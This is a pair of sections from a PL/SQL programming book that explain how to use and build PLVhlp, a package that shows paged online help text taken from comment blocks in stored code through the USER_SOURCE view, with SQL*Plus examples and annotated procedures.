Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.4 Using PLVhlp

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

17.4 Using PLVhlp

There are two aspects to using the PLVhlp package:

  1. Display help text using the show and more procedures. In the PLVhlp architecture, help text is stored with the program unit it documents in specially formatted comment areas. The show and more procedures then access that text. You can also fine-tune the display of help text by setting the size of a page of text.

  2. Create help text to be inserted into stored code for use as online help text. For more details on how to set up this help text, see the sections "Creating Help Text" and "Implementing PLVhlp."

These aspects are covered in the following sections.

17.4.1 Showing the Help Text

The show program initiates the display of help text on a topic. Its specification is as follows:

PROCEDURE show (context_in IN VARCHAR2, part_in IN VARCHAR2 := c_main);

where context_in is the context or program unit that contains the text and part_in is the specific topic to be displayed in response to this request. The following call to show, for example, requests that the help text in the PLVprs package specification covering the topic "examples" be displayed.

SQL> exec PLVhlp.show ('s:PLVprs', 'examples');

PLVhlp predefines two constants for commonly used help text topics: top-level or main help and examples help. The last call to PLVhlp.show could be rewritten using one of those constants as follows:

SQL> exec PLVhlp.show ('s:PLVprs', PLVhlp.c_examples);

You might even consider adding constants to the PLVhlp package to make it easier to create and access consistently named areas of help text.

The more procedure's specification is even simpler than that of show:

PROCEDURE more;

This procedure simply requests that the next page of text for the current help topic be displayed. If there is no more help text or if you have not previously called PLVhlp.show, more displays the following message:

SQL> exec PLVhlp.more
No more help available...

PL/Vision also offers some SQL*Plus scripts to make it easier to request help. These scripts are help.sql and more.sql. The following lines compare the different approaches using PL/SQL program execution and SQL*Plus script execution.

Instead of typing:

SQL> exec PLV.help

you can simply enter:

SQL> @help plv

And instead of typing:

SQL> exec more

you can simply enter:

SQL> @more

17.4.2 Setting the Page Size

One of the more interesting aspects of PLVhlp is that it allows developers to see limited amounts of text at a time (a single page). This makes the reading of help text much less frantic; users do not have to feel panicky about pages of text scrolling past their eyes.

The default page size is 25 lines, so that a page of text fits comfortably on a monitor. You can change this value by calling the set_pagesize procedure, whose header is shown below:

PROCEDURE set_pagesize (pagesize_in IN NUMBER);

In the following SQL*Plus session, for example, I move the pagesize up to 60, since SQL*Plus in Windows supports vertical scrolling:

SQL> exec PLVhlp.set_pagesize(60);

You can also find out the current size of the page by calling the pagesize function. The following little utility (not a part of PLVhlp) makes sure, for instance, that the pagesize is no larger than the default:

PROCEDURE limit_ps (size_in IN INTEGER := 25)
IS
BEGIN
   IF PLVhlp.pagesize > size_in
   THEN
      PLVhlp.set_pagesize (size_in);
   END IF;
END;

The set_pagesize program is available to end users of PLVhlp. It can also be used by developers who construct help environments for PL/SQL development to arrange a comfortable viewing area.

17.4.3 Creating Help Text

A user cannot access help text unless you place that text inside the appropriate program unit. PLVhlp reads its text from the ALL_SOURCE data dictionary; the text is, in other words, stored with the program about which help is needed (the implementational aspects of this technique are explored later in the chapter).

To give you an idea of the format of this help text, consider the following fragment of a package specification:

PACKAGE call
IS
   PROCEDURE maintain;
/*ABOUT
The maintain procedure maintains the current
set of calls in the system.
ABOUT*/
END call;

The strings /*ABOUT and ABOUT*/ follow the standard for the starting and ending strings, respectively, of a block of text that will be retrieved by this call to PLVhlp.show:

SQL> exec PLVhlp.show ('s:call', 'about');

PLVhlp provides two functions to help you follow the standard for help text comment blocks: help_start and help_end. With both functions, you provide the keyword for text block and receive in return the strings you need to wrap around your help text.

The PLVgen package uses these two functions to generate a block of help text you can then cut and paste into your own code. Here is the implementation of the PLVgen.helptext procedure:

   PROCEDURE put_help
      (context_in IN VARCHAR2, indent_in IN INTEGER := 0)
   IS
   BEGIN
      IF using_hlp
      THEN
         put_line (PLVhlp.help_start (context_in), indent_in);
         put_line ('Add help text here...', indent_in);
         put_line
            (PLVhlp.help_end (context_in), indent_in, c_after);
      END IF;
   END;

and here is an example of the code it generates:

SQL> exec PLVgen.helptext ('constraints');
   /*CONSTRAINTS
   Add help text here...
   CONSTRAINTS*/

You can also embed blank lines in your help text, which is useful in making text easy to read. If you CREATE OR REPLACE programs with these blank lines in SQL*Plus, however, those lines will be discarded before saving the source code to the database. You can avoid this white space destruction by either not using SQL*Plus or by using a "line separator" in place of a truly blank line. For more information about the line separator feature in PL/Vision, see Chapter 7, p: A Powerful Substitute for DBMS_OUTPUT.

17.4.4 A PLVhlp Tutorial

The following scenario illustrates how to use these different elements to obtain help about the PLVprs package (PL/Vision PaRSe):

Step 1. Before I try to access the help text, I build a few components to make it easier to request the help. First, I add a help program to my PLVprs package specification and body as follows:

PACKAGE PLVprs
IS
   ... other elements ...
   PROCEDURE help;
END PLVprs;
PACKAGE BODY PLVprs
IS
   ... other elements ...
   PROCEDURE help IS
   BEGIN
      PLVhlp.show ('s:PLVprs');
   END help;
END PLVprs;

This provides a layer over the help package that allows me to ask for help within the context of the PLVprs package.

Step 2. I also create a SQL*Plus script (more.sql) that allows me to call the PLVhlp.more procedure with a minimum of typing:

SET FEEDBACK OFF
exec PLVhlp.more;

Step 3. I start up a SQL*Plus session, set the pagesize to 10, and access the help text for the parsing package.

SQL> exec PLVhlp.set_pagesize(10);
SQL> exec PLVprs.help
Help for PLVPRS

Overview: PLVprs provides a variety of PaRSing programs. It
   performs parsing for "generic" strings, but also performs
   parsing specifically for "PL/SQL strings", ie, lines of
   code from a PL/SQL program.

Programs in PLVprs:

   next_atom_loc - Returns location of next atomic.
...more...

The first page of text has been displayed; the "...more..." indicates that there is more text to be viewed on this topic.

Step 4. So I will ask for more help:

SQL> @more
Help for PLVPRS
   display_atomics - Displays distinct atomics in string.
   nth_atomic - Returns Nth atomic in string.
   number_of_atomics - Returns number of atomics in string.
   numinstr - Returns number of occurrences of substring in string.

   string - Returns string's atomics into a PL/SQL table.
   plsql_string - Returns PL/SQL code atomics into PL/SQL table.

   wrap - wraps a long string into a PL/SQL table.
   wrapped_string - wraps a long string into a string
...more...

And even more help....

SQL> @more
Help for PLVPRS
     with carriage returns embedded.
   display_wrap - displays the wrapped string

Notice that I no longer receive the "...more..." indicator. Now when I ask for more help, I am told that the current topic is depleted:

SQL> @more
No more help available...

17.4.4.1 Getting specialized help

What I've shown so far is general help for the PLVprs package. I can also provide more specialized areas of help. My PLVlex package, for example, contains the following help procedure:

PROCEDURE examples IS
BEGIN
   PLVhlp.show ('s:PLVprs', PLVhlp.c_examples);
END examples;

With this procedure in place I can now also ask for information about examples for the PLVlex package:

SQL> exec PLVlex.examples
Help for PLVLEX
Examples

Here is a call to get_next_token from PLVcase, which UPPER-lower cases PL/SQL programs:

   LOOP
      PLVlex.get_next_token
        (text, curr_pos, token, next_pos, FALSE, text_len, TRUE);

      EXIT WHEN v_token IS NULL OR   line_in.pos > line_in.len;
   END LOOP;

The FALSE indicates that I do not want to skip over spaces. This
maintains the program's indentation. The TRUE indicates that I want
qualified names (X.Y.Z) to be returned as one token.

You are not restricted to creating help topics of "main" and "examples." You can use whatever designators you want. Suppose, for example, that you wanted to provide help on cursors available in the company package. You would create a block of comment text in that package specification as follows:

/*CURSORS
Company-related Cursors:
...
CURSORS*/

Then you could add another help-delivering procedure to that package:

PROCEDURE on_cursors IS
BEGIN
   PLVhlp.show ('s:PLVprs', 'cursors');
END on_cursors;

With these pieces in place, the following command in SQL*Plus delivers the help you want:

SQL> exec company.on_cursors;

And that is how developers can use PLVhlp to get a handle on the stored code available to them. Obviously, someone has to spend the time to enter the help text, breaking it up into useful sections, etc. Once that is done, however, PLVhlp makes that information readily available to any user of the package.

Previous: 17.3 What Is "Online Help" for Stored Code? | Advanced Oracle PL/SQL Programming with Packages | Next: 17.5 Implementing PLVhlp
17.3 What Is "Online Help" for Stored Code? | Book Index | 17.5 Implementing PLVhlp
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 17] 17.5 Implementing PLVhlp

Advanced Oracle PL/SQL Programming with Packages

Advanced Oracle PL/SQL Programming with PackagesSearch this book

17.5 Implementing PLVhlp

I hope that you put PLVhlp to use in your environment; the earlier sections in this chapter should provide a clear guide to doing so. My objective with this book, however, is to also help you develop a philosophy and perspective on your PL/SQL development so that you can build your own utilities like PLVhlp. The rest of this chapter explores the issues, technical challenges, and solutions I encountered in my implementation of PLVhlp.

To show the iterative, spiraling nature of software development, I will step through the implementation of PLVhlp in two stages. In stage one, I build a relatively simple, but effective working model of a script to deliver online help. This version is based on SQL and works only in the SQL*Plus environment. In the second stage, I build a more comprehensive, flexible, and feature-rich online help architecture based on PL/SQL packages (PLVhlp, of course).

17.5.1 Principles for Online Help

The great thing about PL/SQL is that you can use it darn near anywhere: UNIX servers in SQL*Plus, Oracle Forms, home pages on the Internet... you name it and PL/SQL rears its pretty face. Furthermore, the scope of PL/SQL will also almost certainly expand over the years as well, as it becomes one of the key enabling technologies for application partitioning in n-tier environments (now it's three-tier, but why not four- or five-tier? The more layers the better?).

The ubiquitousness of PL/SQL implies to me at this point in time that I want an online help approach to be, shall we say, "lowest common denominator." The "lowest" of LCD refers to (a) the execution environment, (b) the location of the help text in one's environment, and (c) the methodology for retrieving and displaying the help text.

As of the publication of this book, the most common execution environment, and the most generic, is SQL*Plus. The lowest, or deepest, location in an Oracle environment is the database. The most widely available delivery mechanism for PL/SQL online help is... PL/SQL!

Given this analysis, here is my vision of how an online help system for PL/SQL would work: provide a programmatic interface (via a package) to help text. This interface (a set of procedures and functions) could be called from within SQL*Plus with an execute statement. But, heck, since it's based on PL/SQL, you could also build a frontend in PowerBuilder or Oracle Forms to access this same information. You could also execute calls to the interface from within a tool like Procedure Builder. For me, however, the most important baseline is to construct that procedural interface and make it work in good, old SQL*Plus.

Let's talk about the help text itself. This is actually the single greatest challenge in building an online help system; someone has to take the time and make the effort to enter text. I know that I have very little patience for this kind of polishing effort, so at a minimum I believe that it is critical that I be able to enter my help text only once and yet have it satisfy the following needs:

  1. Function as inline documentation. The text should be useful to developers who are enhancing and maintaining the source code itself. In this situation, developers do not access this text via a programmatic interface. Rather, they edit the code, and (if they are especially methodical) they simultaneously update any help text/documentation that is affected by their changes.

  2. Be available for online help. The same text should also be accessible and readable so that it can be displayed online to users of the code.

The only way to satisfy both of these needs with one version of text is to place the documentation directly within the definition of the program. This text is then stored in the database along with the program. That text is then available to a developer and also to a user (through the programmatic interface).

To summarize my principles of online help:

  1. Centralize help text; avoid redundant entry of text. Do this by storing help information with the program itself, in the data dictionary.

  2. Make the help text accessible from any environment in which PL/SQL programs can be executed. In other words, implement the delivery mechanism for help through PL/SQL programs.

Working from these principles, I first examine how my help text is stored in the data dictionary and how I can best retrieve it. Then I build a working prototype of a module that delivers online help for PL/SQL programs.

17.5.2 Locating Text in the Data Dictionary

When you CREATE OR REPLACE a program (procedure, function, or package) into the Oracle database, the source code is saved to the SYS.SOURCE$ table. You can view the contents of this table for all of your stored programs by accessing USER_SOURCE view. The structure of this view is as follows:

SQL> desc user_source
 Column                  Column
 Name           Null?    Type
 -------------- -------- -------------
 NAME           NOT NULL VARCHAR2(30)
 TYPE                    VARCHAR2(12)
 LINE           NOT NULL NUMBER
 TEXT                    VARCHAR2(2000)

The NAME column contains the name of the object. The name is always stored in upper case unless you surround the name of your program in double quotation marks at creation time. I assume in my help implementation that you don't do this and that your program name is always upper-cased. The TYPE is a string describing the type of source code, either PROCEDURE, FUNCTION, PACKAGE, or PACKAGE BODY (always upper case). The LINE is the line number and the TEXT is the line of text. Notice that a line of text may be up to 2000 bytes in length.

Quiz Time

Can the USER_SOURCE view contain blank lines? If you only use SQL*Plus to compile and store programs, you might not think this was possible. SQL*Plus automatically strips out blank lines before passing them on to the SQL layer. So all blank lines from your file-based code are compressed in USER_SOURCE. If you use another method for compiling and saving, such as Oracle Procedure Builder, this is not necessarily the case.

Suppose that I issue the following command in SQL*Plus:

SQL> create or replace PROCEDURE temp IS
  2  BEGIN
  3     DBMS_OUTPUT.PUT_LINE ('hello world');
  4  END;
  5  /

My program will be stored in the database. The following query then retrieves the source code for display:

SQL> SELECT text FROM USER_SOURCE
  2   WHERE name = 'TEMP' AND type = 'PROCEDURE'
  3   ORDER BY line;
TEXT
---------------------------------------------------
PROCEDURE temp IS
BEGIN
   DBMS_OUTPUT.PUT_LINE ('hello world');
END;

Notice that the CREATE OR REPLACE and / are not stored. These are part of the SQL*Plus command environment only.

Now suppose that I also include a comment in the code:

SQL> create or replace PROCEDURE temp IS
  2  BEGIN
  3     /* Send message to standard output. */
  4     DBMS_OUTPUT.PUT_LINE ('hello world');
  5  END;
  6  /

Then my query could just as easily extract only that line of text, as shown in each of the two SQL statements below. The first query returns any text that starts with a comment. The second query retrieves only the third line.

SELECT text
  FROM USER_SOURCE
 WHERE name = 'TEMP' AND type = 'PROCEDURE'
   AND LTRIM (text) LIKE '/*'
 ORDER BY line;

SELECT text
  FROM USER_SOURCE
 WHERE name = 'TEMP' AND type = 'PROCEDURE'
   AND line = 3;

In both cases, I will have retrieved my comment. This capability forms the core of the technique for online help in PL/SQL programs. Comments, which contain documentation about the program and, therefore, potential help text as well, can be stored and manipulated just as actual lines of code can be.

From here on in, it's all in the details -- but wait until you see these details!

17.5.3 Implementing Online Help

It's one thing to write a query to extract a line that starts with a comment marker. It's quite another challenge to generalize that query into a SELECT statement that selectively retrieves only those lines related to a specific topic. Suppose, for example, that my source code looks like this:

PROCEDURE sayhi IS
/*
|| Overview: the sayhi procedure uses the
||   DBMS_OUTPUT builtin to say hello
||   to the world.
*/
BEGIN
   DBMS_OUTPUT.PUT_LINE ('hello world');
END;

My task is now to write a query that displays only the comment information. How is that range of information defined? In this simple case, I want to display all lines after the first instance of /* and up to the very next first occurrence of */ after that line. In pseudo-SQL, I have something like this:

SELECT text
  FROM USER_SOURCE
 WHERE name = 'SAYHI'
   AND type = 'PROCEDURE'
   AND line BETWEEN
       startcmnt ('sayhi', 'PROCEDURE') AND
       endcmnt ('sayhi' 'PROCEDURE')
 ORDER BY line;

Actually, this isn't even pseudo-SQL. I am simply calling PL/SQL functions (startcmnt and endcmnt) from within a SQL statement, which you can and should do from Oracle Server 7.1 and onwards. This is a form of top-down design, because at this time I'm not really sure what these functions actually need to do in order to pass back their line numbers. The SQL statement looks right, which means that I am ready to take it to the next level of detail.

17.5.3.1 Functions to scan USER_SOURCE

The startcmnt and endcmnt functions both scan the USER_SOURCE view for specific lines.[2] Below is the header for the startcmnt function. (By the way, it might seem that I worked all this out in advance. The reality is that I am developing this implementation as I write this chapter. My production, PL/Vision-based implementation of online help, uses a completely different approach.)

[2] All of the code described in this section is contained in the showhelp.all file in the text subdirectory.

FUNCTION startcmnt
   (name_in IN VARCHAR2,
    type_in IN VARCHAR2,
    nth_in IN INTEGER := 1)
RETURN INTEGER;

Notice that I have three arguments listed, yet only two arguments were provided to the calls to startcmnt inside the SQL statement. As I started to build this function, I realized that it would probably be reasonable to ask for the third comment block in a program. I have added the parameter, but supplied it with a default value that makes the online SQL work properly.

I make one important assumption to ease implementation in startcmnt: the comment blocks for which I search always have the start-comment symbol (/*) on a new line. I take advantage of this rule by performing an LTRIM on the text I search in the view. Here is the cursor I set up to find the start of a comment block:

CURSOR line_cur
IS
   SELECT line
     FROM USER_SOURCE
    WHERE name = UPPER (name_in)
      AND type = UPPER (type_in)
      AND LTRIM (text) LIKE '/*%';

Once I have the cursor in place, the implementation is fairly straightforward. I open a cursor into the USER_SOURCE view for all lines of text for the specified program that start with /*. Then I fetch from that cursor until the %ROWCOUNT matches the nth_in argument value (thereby reaching the n th comment block in the program) or until I run out of records. Here is the very concise loop:

OPEN line_cur;
LOOP
   FETCH line_cur INTO line_rec;

   IF line_cur%NOTFOUND
   THEN
      retval := 0;
   ELSIF line_cur%ROWCOUNT = nth_in
   THEN
      retval := line_rec.line;
   END IF;

   EXIT WHEN retval IS NOT NULL;
END LOOP;
CLOSE line_cur;

Should I use a cursor FOR loop in startcmnt? I could then avoid the explicit open, fetch, and close. That would not, however, be a good choice here, since I perform a conditional exit out of the loop. You should only use a cursor FOR loop if you truly are going to touch every record retrieved by the cursor.

The endcmnt function is virtually identical to startcmnt (see the showhelp.all file). The only differences show up in the SQL statement of the explicit cursor. This is the endcmnt cursor:

CURSOR line_cur
IS
   SELECT line
     FROM USER_SOURCE
    WHERE name = UPPER (name_in)
      AND type = UPPER (type_in)
      AND text LIKE '%*/' || CHR(10);

There are two differences:

  1. I need to look for a match on %*/ instead of /*% since I am looking for the termination of a comment, rather than its beginning.

  2. I append a CHR(10) or newline character in my match. Why do I do this? It turns out that there is a newline character at the end of very line of code stored in the database (at least when SQL*Plus is used!). There are a number of ways one can handle this detail. I simply append the CHR(10) to my search criteria. You could also RTRIM from text.

This complication of the newline character is a good example of how a seemingly simple task can become more complicated as you deal with the reality of an implementation. PL/SQL and Oracle software in general is full of these kinds of surprises. Everything you ever do is always going to be more complicated than you first imagined, and it is a good idea to plan for this in your work

Challenge for the reader: do I really need two different functions, when they are so alike? I suggest that you practice your modularization skills by transforming startcmnt and endcmnt into a single function, thereby reducing your code volume and easing maintenance.

17.5.4 Building a SQL*Plus Help Script

Once I have both of the PL/SQL functions in place, I can return to my original SQL statement and enhance it into a generic SQL*Plus script to deliver help. To achieve this change, I remove all references to specific program names and types to SQL*Plus parameters (numbers of strings prefixed by the & character). I also add some SET commands to limit output from the SELECT statement to just my help text.

The following script is stored in showhelp.sql:

SET FEEDBACK OFF
SET VERIFY OFF
SELECT text
  FROM USER_SOURCE
 WHERE name = UPPER ('&1')
   AND type = UPPER ('&2')
   AND line BETWEEN
       startcmnt ('&1', '&2') AND endcmnt ('&1', '&2')
 ORDER BY line;

Notice that I automatically perform an uppercase conversion on the name and type. I am simply enforcing an assumption of my utility. By calling UPPER, I liberate the user from having to remember this kind of detail.

Now if I run this script in SQL*Plus, I get my online help:

SQL> @showhelp sayhi procedure
/*
|| Overview: the sayhi procedure uses the
||   DBMS_OUTPUT builtin to say hello
||   to the world.
*/

With showhelp, I have in place a rudimentary prototype of a help-deliverer for PL/SQL programs. It acts as a proof of concept for my technique, but it isn't really a full featured help system. There are a number of weaknesses in this implementation that I want to address:

  1. It is an SQL script specific to SQL*Plus. It cannot be executed from within PL/SQL at all and would have to be modified even to execute in any other development environment as SQL (i.e., a non-SQL*Plus frontend to SQL).

  2. The showhelp procedure isn't very flexible. It assumes that any comment is help, which may not really be acceptable. You'd want a way to clearly identify comments for use as online help.

  3. The showhelp procedure requires lots of typing by the user. The more you have to type, the less likely you are to use it.

  4. Since showhelp is in an operating file script, users must have to access to that file. Chances are that this would lead to distribution of copies of the script, which would make upgrades difficult. A stored PL/SQL solution would rely on the granting of execute privileges to make the utility available.

  5. The script can only read help text from the USER_SOURCE view. Now, wait just a minute, you might find yourself protesting. Isn't that supposed to be one of the script's features? It is, but it is also a limitation. What if you want to provide help text directly from operating system files containing the original source code. A SQL-based solution would have a tough time indeed with this level of flexibility.

Let's now look at what it takes to convert this SQL*Plus script into a comprehensive packaged solution that overcomes these weaknesses.

17.5.5 Constructing an Online Help Package

I will start by exploring the implementation of the show procedure of PLVhlp. This procedure displays the first page of help text. A simplified version of the procedure is shown below:

PROCEDURE show
   (context_in IN VARCHAR2, part_in IN VARCHAR2 := c_main)
IS
BEGIN
1  PLVobj.savecurr;
2  PLVobj.setcurr (context_in);
3  PLVio.usrc;
4  PLVio.initsrc (help_start (part_in), help_end (part_in));
5  PLVio.settrg (PLV.pstab);
6  PLVio.src2trg;
7  set_more (2, 0);
8  more;
END;

As you can see, PLVhlp.show makes extensive use of PL/Vision packages, most importantly PLVio. This makes sense, since the help text is stored in USER_SOURCE. PLVio was designed to allow me to read PL/SQL source code from database tables and other repositories. If I could not use PLVio in PLVhlp.show, I might as well not write a book about PL/Vision.

The following sections explain each of the lines of code in the show procedure.

17.5.5.1 Setting the current object

Before I can use PLVio to read from the USER_SOURCE data dictionary view, I must define the current object with PLVobj. The first line of the show procedure's body saves the current settings for the PLVobj current object. I do this so that if PLVobj were being used, I could restore the current object when done showing help text.

Then I call setcurr to set the current object. I pass in to setcurr the module that was provided in the call to show:

  PLVobj.setcurr (context_in);

Now the PLVio program units can be called.

17.5.5.2 Setting up PLVio to read help text

First, I inform PLVio that I will be reading from the USER_SOURCE view:

PLVio.usrc;

Then I initialize the source so that I only read the rows in USER_SOURCE for the current object that correspond to the specified help topic or part:

PLVio.initsrc (help_start (part_in), help_end (part_in));

The first argument to PLVio.initsrc passes the string that should be the first line read. The second argument contains the string that signals the end of the help text. The two functions, help_start and help_end, are private to the PLVhlp body; they are not listed in the specification at all. These are used to format the start and end strings of the help text block, doing little more than attach the comment markers to the specified context string:

FUNCTION help_start (topic_in IN VARCHAR2 := NULL)
   RETURN VARCHAR2
IS
BEGIN
   RETURN '/*' || topic_in;
END;

FUNCTION help_end (topic_in IN VARCHAR2 := NULL)
   RETURN VARCHAR2
IS
BEGIN
   RETURN topic_in || '*/';
END;

I create these little functions to hide my particular implementation of the start and end indicators of a comment block. I may well want to change my approach in subsequent implementations. By using these functions, I only have to make the changes there and not scattered throughout my package.

17.5.5.3 Moving the help text to a PL/SQL table

Now that the PLVio source repository has been set and initialized, I can set the target repository and then transfer all help text to that target. This call to settrg tells PLVio that I want all calls to PLVio.put_line to put text in the PLVio target PL/SQL table:

PLVio.settrg (PLV.pstab);

Then I call the high-level src2trg procedure that simply batch transfers all rows of help text from USER_SOURCE to the PLVio target:

PLVio.src2trg;

This procedure hides all the get_line and put_line logic of PLVio and lets me very easily move the PL/SQL source code to my choice of target for further manipulation.

17.5.5.4 Showing the first page

There are two steps involved in showing the first page of help text: set page management variables and then display the text. This first statement:

set_more (2, 0);

sets the values of variables to control the behavior of the PLVhlp more program. In this case, the call to set_more is saying: start at line 2 (the first line is the designator, such as /*HELP, and can be ignored) and display the first page of text.

The program that actually generates the output is the more procedure, which is called as the last line in the PLVhlp.show procedure.

17.5.5.5 Leveraging and enhancing PL/Vision

The show procedure offers an excellent example of how I am able to leverage the prebuilt packages of PL/Vision to very quickly assemble new and often richly featured programs. This shows that I have reached a "critical mass" of code in PL/Vision; my earlier investment in building reusable, low-level layers of code is paying off.

Even at critical mass, however, I still find myself enhancing the base layers of code. For example, I call src2trg in PLVhlp.show to move en masse all the rows of help text to the PLVio PL/SQL table. When I was writing PlVhlp.show, src2trg hadn't yet been written. As I confronted the task at hand in PLVhlp.show, I realized that I did not want to have to bother with all the internals of PLVio. I simply need to move all the rows out of USER_SOURCE and into the PL/SQL table so I could display the text in a highly controlled fashion.

So I stopped my development in PLVhlp and shifted gears into PLVio. I built src2trg, tested it, and then used it in the PLVhlp.show procedure. By doing so, I not only produced the functionality I needed in PLVhlp, but also expanded the capabilities of PLVio.

As I've mentioned before, this process is typical of the way I have been developing my code over the last year. Rather than work on any one package at a time, I find myself simultaneously enhancing several different packages. As I encounter the need for a new program, I check to see if there is a package already in PL/Vision into which this program should logically fall. If so, I add to that package. If not, I create a new package. With this approach, I constantly increase the amount of reusable code in my library and achieve the broadest possible impact with each new development.

Now that you have seen how I identify, read, and store my help text, let's move on to figuring out how best to display that help text.

17.5.6 Page Pausing with PLVhlp.more

One of the big issues I encountered in designing PLVhlp was to implement a "pause" feature. It is very difficult to fit in a single screen size all the information you want or need to present about any reasonably complex program. And yet it is also very hard for a user to watch thirty, sixty, ninety lines of text scroll rapidly by without feeling the onset of panic.

SQL*Plus handles this situation very nicely with the SET PAUSE ON and SET PAGESIZE environment commands. You simply specify the number of lines in a page and turn pause "on." Then whenever you execute a query in SQL*Plus, it automatically halts output after n lines until you press Enter. If I was using the very first implementation of online help I shared with you in the last issue, I could (and did) rely on the SQL*Plus pause feature to implement page pausing for online PL/SQL help.

I discovered, however, that while the single-query solution to online help was simple and easy, it lacked a wide variety of features I needed to implement. The solution was to move to a PL/SQL program that queried rows from the database and then displayed each row of text with a call to the builtin DBMS_OUTPUT.PUT_LINE. Could I rely on SQL*Plus's pause facility to control this output? Not a chance. For one thing, this feature was designed to work only with SELECT statement output. For another, when you start or execute a PL/SQL program from within SQL*Plus, all control is turned over to the runtime engine of PL/SQL. And no output is generated until the program finishes. So if the hlp procedure found 2000 rows of help text, it would all come spewing out uninterrupted (unless it first exceeded the size of the buffer in SQL*Plus!).

17.5.6.1 A futile first effort

What's an obsessed developer to do? One idea I had was this: Inside the cursor FOR loop of the hlp procedure, which reads and displays a line of text, call the DBMS_LOCK.SLEEP program to pause execution of the program for perhaps 10 seconds every 25 lines. This gives the developer time to read the help text. And you wouldn't even have to press Enter to continue. It would figure it out all by itself! A loop that paused every 10 rows would look like this:

FOR text_rec IN text_cur (v_name, v_type)
LOOP
   DBMS_OUTPUT.PUT_LINE
     (RTRIM (text_rec.text, CHR(10)));
   IF MOD (text_cur%ROWCOUNT, 10) = 0
   THEN
      DBMS_LOCK.SLEEP (10);
   END IF;
END LOOP;

Is this a clever use of the SLEEP program or what? I strutted like a peacock in front of my computer as I set up this implementation. Then it was time to test. So I ran the modified hlp program against a block of 100 lines of text. Normally it took about three seconds to display this text. How long do you think I had to wait before I saw the first ten lines of code? One second? Three seconds? Would you believe one minute and forty-three seconds? Yes, that's right: I waited 103 long, bewildering seconds -- and then all 100 lines of text blew by me without a single pause. What had happened?

Everything worked just the way I'd asked it to -- I just hadn't fully understand what it was I had asked for. The hlp program did write ten lines to the DBMS_OUTPUT buffer and then did go to sleep for ten seconds -- ten times straight. Remember: you don't ever see any output at all from DBMS_OUTPUT until the entire program terminates and returns control to the host environment, be it SQL*Plus or Procedure Builder.

My conclusion from this fruitless effort? If I was going to interrupt successfully the output from a PL/SQL program, I would have to actually stop that program so that it could dump its buffer -- and then run it again to display more text. At this point, then, there was no doubt that I would need to move to a package-based implementation. Why? Because I was talking about executing more than one program that would share information about the help text (the text itself, the last row displayed, etc.). Only the package allows me to create persistent, memory-based data.

17.5.6.2 A successful pause architecture for PL/SQL

There were two basic architectures I could use to display n lines of help text before terminating execution of the PLVhlp.show program:

  1. Use a package-based cursor. If I define the cursor that accesses USER_SOURCE at the package level, it remains open in between calls to programs that fetch from the cursor and display the text. The PLVhlp.show program would open the cursor, fetch the first n rows, display them, and terminate. When PLVhlp.more is called, it just keeps fetching the next set of records from the cursor.

  2. Transfer all lines of help text into a PL/SQL table and then display the next n rows each time PLVhlp.more is called.

In both cases I take advantage of a central feature of PL/SQL-based data structures: they persist for the duration of an Oracle session. The cursor stays open, and the PL/SQL table remains populated, in between program calls. The first, cursor-centered approach is simpler since it does not involve an intermediate PL/SQL table. It is probably the technique I would have used had I not already built PLVobj, PLVio, and PLVtab. Given these prebuilt components, however, it was a no-brainer for me to pursue the PL/SQL table solution.

Having gone with the PL/SQL table, however, another significant advantage became obvious: help text deposited in this data structure could be managed in a very flexible and efficient way. The text could, for example, be passed on to another environment for display, such as Oracle Forms or a third-party PL/SQL development environment.

17.5.6.3 Implementing more

The more procedure of PLVhlp, shown below, contains the logic necessary to display a page of rows of the PL/SQL table, as shown in Example 17.1:

Example 17.1: The PLVhelp.more Procedure

 1  PROCEDURE more IS
 2  BEGIN
 3     IF v_more
 4     THEN
 5        PLVio.disptrg
 6           ('Help for ' || PLVobj.currname,
 7            v_startrow, v_endrow);
 8
 9        IF v_endrow = PLVio.target_row-1
10        THEN
11           PLVobj.restore_object;
12           v_more := FALSE;
13        ELSE
14           p.l ('...more...');
15           set_more (v_endrow + 1, v_endrow);
16        END IF;
17     ELSE
18        p.l ('No more help available...');
19     END IF;
20  END;

As with PLVhlp.show, the more program is short and relies heavily on the PLVobj and PLVio packages. It also makes two calls to the p.l procedure. As I've described in Chapter 7, the p package and its l procedure provide a substitute for DBMS_OUTPUT.PUT_LINE that requires much less typing and offers additional functionality (such as displaying rather than ignoring NULL text and automatically substringing the text to a maximum length of 255 bytes to avoid VALUE_ERROR exceptions.)

Now let's go examine the more program, so that you can fully understand the implementation of a PL/SQL-based, page-pausing mechanism. There are three private package variables used to manage behavior in the PLVhlp.more package, as listed below:

v_more | TRUE if there are more lines of help text to display.
v_startrow | The first row in the PL/SQL table of the next page of text.
v_endrow | The last row in the PL/SQL table of the next page of text.

At the very start of more, I check the value of v_more. If it is FALSE, I display an appropriate message. If v_more evaluates to TRUE, then I display the next page of text using the PLVio package (lines 5 through 7 of Example 17.1):

PLVio.disptrg ('Help for ' || PLVobj.currname, v_startrow, v_endrow);

The disptrg or "display target" program displays the contents of the PL/SQL table maintained as a target by the PLVio package (I never have to declare it or directly manipulate its contents; the PLVio package takes responsibility for this work). I provide a header and a range of rows to display. This is another good example of how the abstraction in my lower-level packages makes programming a breeze.

17.5.6.4 Maintaining the current page variables

Now that I have displayed this latest page, I reset the triad of variables for the next call to more. First, I check to see if there are any more rows. I know I am done when the end row matches the second-to-last row in the target table. I ignore the very last line, because it is simply the comment marker (HELP*/, for example). I then restore the current object in PLVobj and set v_more to FALSE:

IF v_endrow = PLVio.target_row-1
THEN
   PLVobj.restore_object;
   v_more := FALSE;

If, on the other hand, I have not displayed all rows, then I display a message indicating that there is more to come (when and if the user executes PLVhlp.more again) and then call the set_more program to set up my variables:

p.l ('...more...');
set_more (v_endrow + 1, v_endrow);

The set_more program is also not very complicated:

PROCEDURE set_more
   (start_in IN INTEGER, end_in IN INTEGER)
IS
BEGIN
   v_startrow := start_in;
   v_endrow :=
      LEAST (v_pagesize + end_in, PLVio.target_row-1);
   v_more := TRUE;
END set_more;

